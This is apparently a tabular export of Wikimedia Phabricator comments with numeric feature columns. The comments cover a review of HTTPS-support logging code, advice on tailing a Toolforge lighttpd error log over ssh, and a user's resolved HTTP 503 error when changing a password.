{F34553}

At Erik's request, I am keeping this private. I am obviously aware that the code from the previous round of data collection is publicly available, and that the changes will be public too if and when we start serving them to clients."
424295,Review HttpsSupport logging code for re-deployment,"Change 195823 merged by Ori.livneh:
Re-introduce HTTPS support detection

[[https://gerrit.wikimedia.org/r/195823]]",,,1426038653,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.2631578947368425,0.8947368421052632,"Change 195823 merged by Ori.livneh:
Re-introduce HTTPS support detection

[[GERRIT_URL]]"
424294,Review HttpsSupport logging code for re-deployment,"Change 195823 had a related patch set uploaded (by Ori.livneh):
Re-introduce HTTPS support detection

[[https://gerrit.wikimedia.org/r/195823]]
",,,1426038620,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.038461538461538,0.8846153846153846,"Change 195823 had a related patch set uploaded (by Ori.livneh):
Re-introduce HTTPS support detection

[[GERRIT_URL]]
"
424293,Review HttpsSupport logging code for re-deployment,"Change 195822 merged by Ori.livneh:
Re-introduce HTTPS support detection

[[https://gerrit.wikimedia.org/r/195822]]",,,1426038610,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.2631578947368425,0.8947368421052632,"Change 195822 merged by Ori.livneh:
Re-introduce HTTPS support detection

[[GERRIT_URL]]"
424292,Review HttpsSupport logging code for re-deployment,"Change 195822 had a related patch set uploaded (by Ori.livneh):
Re-introduce HTTPS support detection

[[https://gerrit.wikimedia.org/r/195822]]
",,,1426038601,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.038461538461538,0.8846153846153846,"Change 195822 had a related patch set uploaded (by Ori.livneh):
Re-introduce HTTPS support detection

[[GERRIT_URL]]
"
424290,Review HttpsSupport logging code for re-deployment,"Change 195817 merged by jenkins-bot:
Re-introduce HTTPS support detection

[[https://gerrit.wikimedia.org/r/195817]]",,,1426038518,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9047619047619047,0.8571428571428571,"Change 195817 merged by jenkins-bot:
Re-introduce HTTPS support detection

[[GERRIT_URL]]"
424282,Review HttpsSupport logging code for re-deployment,"Change 195817 had a related patch set uploaded (by Krinkle):
Re-introduce HTTPS support detection

[[https://gerrit.wikimedia.org/r/195817]]
",,,1426037006,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.923076923076923,0.8846153846153846,"Change 195817 had a related patch set uploaded (by Krinkle):
Re-introduce HTTPS support detection

[[GERRIT_URL]]
"
419557,Review HttpsSupport logging code for re-deployment,"This ticket can be made public. Background: This data collection is part of preparing for a decision on the default HTTPS configuration across wikis, so we get a better sense of failure rates with different clients / in different geographies.",,,1425334858,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,9.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,16.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,4.613636363636363,0.8863636363636364,"This ticket can be made public. Background: This data collection is part of preparing for a decision on the default HTTPS configuration across wikis, so we get a better sense of failure rates with different clients / in different geographies."
419538,Review HttpsSupport logging code for re-deployment,Why is this still being handled as a security issue?,,,1425333380,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,9.0,9.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,1.0,Why is this still being handled as a security issue?
419502,Review HttpsSupport logging code for re-deployment,{F52646},,,1425330970,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,{F52646}
417459,Review HttpsSupport logging code for re-deployment,I don't think this needs to be private. Erik said in the relevant email thread that the sitewide HTTPS-by-default project is not private.,,,1424915689,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,10.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,13.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.8666666666666667,I don't think this needs to be private. Erik said in the relevant email thread that the sitewide HTTPS-by-default project is not private.
417452,Review HttpsSupport logging code for re-deployment,"I read the code, it seems OK, although I didn't rigorously verify every line since I'm not very familiar with this sort of JavaScript at the moment. Ori's theory for controlling systematic errors seems sound.",,,1424915182,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,True,,,-18,True,2.0,0.0,2.0,0.0,5.0,10.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,2.0,10.0,14.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,14.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.142857142857143,0.8571428571428571,"I read the code, it seems OK, although I didn't rigorously verify every line since I'm not very familiar with this sort of JavaScript at the moment. Ori's theory for controlling systematic errors seems sound."
87562,Shorten update interval of lighttpd error logs,"Tool error and access log files (~sometool/error.log, ~sometool/access.log) are currently updated apparently in fixed intervals, so information appears in the logs a few minutes after errors happen. This makes debugging web programming stuff or lighttpd configuration problems a pain.

Either the update interval (or buffering limit, or whatever causes it) should be decreased, or there should be some way to access the tool error log directly.",Needs Triage,90.0,1422277333,1428307018.0,PHID-USER-zzbdvschb2zxhrxixhcr,False,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-TASK-fatfiflitno2tuzvuchf,task_description,resolved,True,c3,1,False,False,True,-23,True,2.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,6.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,26.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,4.0,1.0,7.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,2.0,4.634146341463414,0.7439024390243902,"Tool error and access log files (~sometool/error.log, ~sometool/access.log) are currently updated apparently in fixed intervals, so information appears in the logs a few minutes after errors happen. This makes debugging web programming stuff or lighttpd configuration problems a pain.

Either the update interval (or buffering limit, or whatever causes it) should be decreased, or there should be some way to access the tool error log directly."
438780,Shorten update interval of lighttpd error logs,"I assume this is resolved by fulfilling ""there should be some way to access the tool error log directly"".",,,1428307018,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-fatfiflitno2tuzvuchf,task_subcomment,,True,c3,1,True,,,-13,True,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,9.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.9545454545454546,0.9545454545454546,"I assume this is resolved by fulfilling ""there should be some way to access the tool error log directly""."
406182,Shorten update interval of lighttpd error logs,"valhallasw: works for me, thanks.",,,1422980610,,PHID-USER-zzbdvschb2zxhrxixhcr,False,,,PHID-TASK-fatfiflitno2tuzvuchf,task_subcomment,,True,c3,1,False,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.625,1.0,"valhallasw: works for me, thanks."
403164,Shorten update interval of lighttpd error logs,"This is probably because this is an NFS mount, which means updates can take a while. If you want quicker updates, you can ssh to the relevant -webgrid node, and tail the error log there.

First, find the host using qstat:

```
tools.gerrit-patch-uploader@tools-login:~$ qstat -xml
<?xml version='1.0'?>
<job_info  xmlns:xsd=""http://gridengine.sunsource.net/source/browse/*checkout*/gridengine/source/dist/util/resources/schemas/qstat/qstat.xsd?revision=1.11"">
  <queue_info>
    <job_list state=""running"">
      <JB_job_number>7233076</JB_job_number>
      <JAT_prio>0.32253</JAT_prio>
      <JB_name>lighttpd-gerrit-patch-uploader</JB_name>
      <JB_owner>tools.gerrit-patch-uploader</JB_owner>
      <state>r</state>
      <JAT_start_time>2015-01-11T18:46:18</JAT_start_time>
      <queue_name>webgrid-lighttpd@tools-webgrid-02.eqiad.wmflabs</queue_name>
      <slots>1</slots>
    </job_list>
  </queue_info>
  <job_info>
  </job_info>
</job_info>
```

Where the `<queue_name>webgrid-lighttpd@tools-webgrid-02.eqiad.wmflabs</queue_name> ` line tells you it's running on tools-webgrid-02. 

Then you can ssh and tail:
```
$ ssh tools-webgrid-02 tail -f error.log
(...new log entries will appear here instantaneously...)
```
",,,1422279246,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fatfiflitno2tuzvuchf,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,6.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,3.0,9.0,3.0,2.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,5.0,5.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,2.0,2.0,0.0,3.0,4.2272727272727275,0.7424242424242424,"This is probably because this is an NFS mount, which means updates can take a while. If you want quicker updates, you can ssh to the relevant -webgrid node, and tail the error log there.

First, find the host using qstat:

``CODE`CODE<queue_name>webgrid-lighttpd@tools-webgrid-02.eqiad.wmflabs</queue_name> CODE`CODE``
"
403162,Shorten update interval of lighttpd error logs,"This is probably because this is an NFS mount, which means updates can take a while. If you want quicker updates, you can ssh to the relevant -webgrid node, and tail the error log there:

```
tools.gerrit-patch-uploader@tools-login:~$ qstat -xml
<?xml version='1.0'?>
<job_info  xmlns:xsd=""http://gridengine.sunsource.net/source/browse/*checkout*/gridengine/source/dist/util/resources/schemas/qstat/qstat.xsd?revision=1.11"">
  <queue_info>
    <job_list state=""running"">
      <JB_job_number>7233076</JB_job_number>
      <JAT_prio>0.32253</JAT_prio>
      <JB_name>lighttpd-gerrit-patch-uploader</JB_name>
      <JB_owner>tools.gerrit-patch-uploader</JB_owner>
      <state>r</state>
      <JAT_start_time>2015-01-11T18:46:18</JAT_start_time>
      <queue_name>webgrid-lighttpd@tools-webgrid-02.eqiad.wmflabs</queue_name>
      <slots>1</slots>
    </job_list>
  </queue_info>
  <job_info>
  </job_info>
</job_info>
```

Where the `<queue_name>webgrid-lighttpd@tools-webgrid-02.eqiad.wmflabs</queue_name> ` line tells you it's running on tools-webgrid-02. Then,
```
$ ssh tools-webgrid-02 tail -f error.log
(...new log entries will appear here instantaneously...)
```
",,,1422278182,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fatfiflitno2tuzvuchf,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,4.0,9.0,4.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,5.0,5.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,4.0,4.368421052631579,0.7719298245614035,"This is probably because this is an NFS mount, which means updates can take a while. If you want quicker updates, you can ssh to the relevant -webgrid node, and tail the error log there:

``CODE`CODE<queue_name>webgrid-lighttpd@tools-webgrid-02.eqiad.wmflabs</queue_name> CODE`CODE``
"
87305,Users are unable to change account password (HTTP 503),"https://ru.wikipedia.org/wiki/%D0%92%D0%B8%D0%BA%D0%B8%D0%BF%D0%B5%D0%B4%D0%B8%D1%8F:%D0%A4%D0%BE%D1%80%D1%83%D0%BC/%D0%A2%D0%B5%D1%85%D0%BD%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9#.D0.9F.D1.80.D0.BE.D0.B1.D0.BB.D0.B5.D0.BC.D0.B0_.D0.BF.D1.80.D0.B8_.D1.81.D0.BC.D0.B5.D0.BD.D0.B5_.D0.BF.D0.B0.D1.80.D0.BE.D0.BB.D1.8F

- After clicking on the ""Login"" button and enter the password, the system offers me to change your password
- I change password
- after pressing the ""Set password and log"" the following 503 error.
So for several days.
Prior to that, in Wikipedia have not worked from 2013, but now decided to try.
Username: kisvadim

Tried different browsers, different computers, and under Linux and under Windows. All the same. Something happened to see with account

---

If you report this error to the Wikimedia System Administrators, please include the details below. 
Request: POST http://ru.wikipedia.org/wiki/%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:%D0%A1%D0%BC%D0%B5%D0%BD%D0%B8%D1%82%D1%8C_%D0%BF%D0%B0%D1%80%D0%BE%D0%BB%D1%8C, from 10.20.0.146 via cp1066 cp1066 ([10.64.0.103]:3128), Varnish XID 3254153861 
Forwarded for: 195.130.209.78, 91.198.174.65, 91.198.174.65, 10.20.0.146 
Error: 503, Service Unavailable at Sun, 18 Jan 2015 06:01:56 GMT

---
Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
If you report this error to the Wikimedia System Administrators, please include the details below.
Request: POST http://www.wikidata.org/wiki/Special:ChangePassword, from 91.198.174.61 via cp1053 cp1053 ([10.64.32.105]:3128), Varnish XID 2385829888
Forwarded for: 5.164.222.248, 10.20.0.146, 10.20.0.146, 91.198.174.61
Error: 503, Service Unavailable at Mon, 19 Jan 2015 18:30:08 GMT

---
Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
If you report this error to the Wikimedia System Administrators, please include the details below.
Request: POST http://ru.wikipedia.org/wiki/%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:%D0%A1%D0%BC%D0%B5%D0%BD%D0%B8%D1%82%D1%8C_%D0%BF%D0%B0%D1%80%D0%BE%D0%BB%D1%8C, from 91.198.174.82 via :: cp3012 cp3012 ([91.198.174.82]:3128), Varnish XID 3303621316
Forwarded for: 5.164.222.248, 91.198.174.82, 91.198.174.82
Error: 503, Service Unavailable at Mon, 19 Jan 2015 18:43:53 GMT

---
almost like a https://phabricator.wikimedia.org/T75462 but it is already fixed",Needs Triage,90.0,1421823849,1421988382.0,PHID-USER-5joeladhczukimiv4rwl,False,PHID-USER-2mey32xhshfnf7rz7jjn,False,PHID-TASK-rmczrlxfhpv25i6dniyw,task_description,resolved,True,c3,1,False,False,True,-24,True,1.0,0.25,0.0,0.75,0.25,2.75,0.5,0.0,0.0,0.75,0.75,0.0,0.0,0.25,0.0,1.0,0.5,4.75,8.75,0.25,0.75,0.5,0.0,0.0,0.75,0.25,0.0,0.75,0.0,0.0,0.0,3.5,0.5,0.25,0.75,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.75,0.0,0.0,0.0,0.0,0.0,0.0,11.5,0.75,0.75,0.0,0.0,0.0,0.0,0.0,0.25,0.25,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.25,1.75,17.75,0.75,2.0,6.25,0.0,0.0,0.0,0.0,2.0,1.25,7.25,0.0,2.25,8.75,10.0,0.0,1.0,0.0,2.25,0.0,0.0,1.25,0.25,1.25,0.0,0.0,0.75,4.37312734082397,0.7326466916354556,"URL

- After clicking on the ""Login"" button and enter the password, the system offers me to change your password
- I change password
- after pressing the ""Set password and log"" the following 503 error.
So for several days.
Prior to that, in Wikipedia have not worked from 2013, but now decided to try.
Username: kisvadim

Tried different browsers, different computers, and under Linux and under Windows. All the same. Something happened to see with account

---

If you report this error to the Wikimedia System Administrators, please include the details below. 
Request: POST URL from 10.20.0.146 via cp1066 cp1066 ([10.64.0.103]:3128), Varnish XID 3254153861 
Forwarded for: 195.130.209.78, 91.198.174.65, 91.198.174.65, 10.20.0.146 
Error: 503, Service Unavailable at Sun, 18 Jan 2015 06:01:56 GMT

---
Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
If you report this error to the Wikimedia System Administrators, please include the details below.
Request: POST URL from 91.198.174.61 via cp1053 cp1053 ([10.64.32.105]:3128), Varnish XID 2385829888
Forwarded for: 5.164.222.248, 10.20.0.146, 10.20.0.146, 91.198.174.61
Error: 503, Service Unavailable at Mon, 19 Jan 2015 18:30:08 GMT

---
Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
If you report this error to the Wikimedia System Administrators, please include the details below.
Request: POST URL from 91.198.174.82 via :: cp3012 cp3012 ([91.198.174.82]:3128), Varnish XID 3303621316
Forwarded for: 5.164.222.248, 91.198.174.82, 91.198.174.82
Error: 503, Service Unavailable at Mon, 19 Jan 2015 18:43:53 GMT

---
almost like a URL but it is already fixed"
402411,Users are unable to change account password (HTTP 503),">>! In T87305#990614, @Sunpriat wrote:
> Confirm, that problem is fixed. The user succeeded log in. Thank you.

Nice :)",,,1421988382,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.8333333333333334,"QUOTE
QUOTE

Nice :)"
402412,Users are unable to change account password (HTTP 503),"I confirm, that problem is fixed. The user succeeded log in. Thank you.",,,1421988408,,PHID-USER-5joeladhczukimiv4rwl,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,False,,,-23,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4705882352941178,0.8823529411764706,"I confirm, that problem is fixed. The user succeeded log in. Thank you."
